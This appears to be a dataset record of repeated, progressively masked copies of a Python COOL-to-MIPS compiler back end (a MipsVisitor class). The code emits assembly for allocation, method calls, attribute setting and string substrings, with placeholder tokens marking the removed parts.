self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function 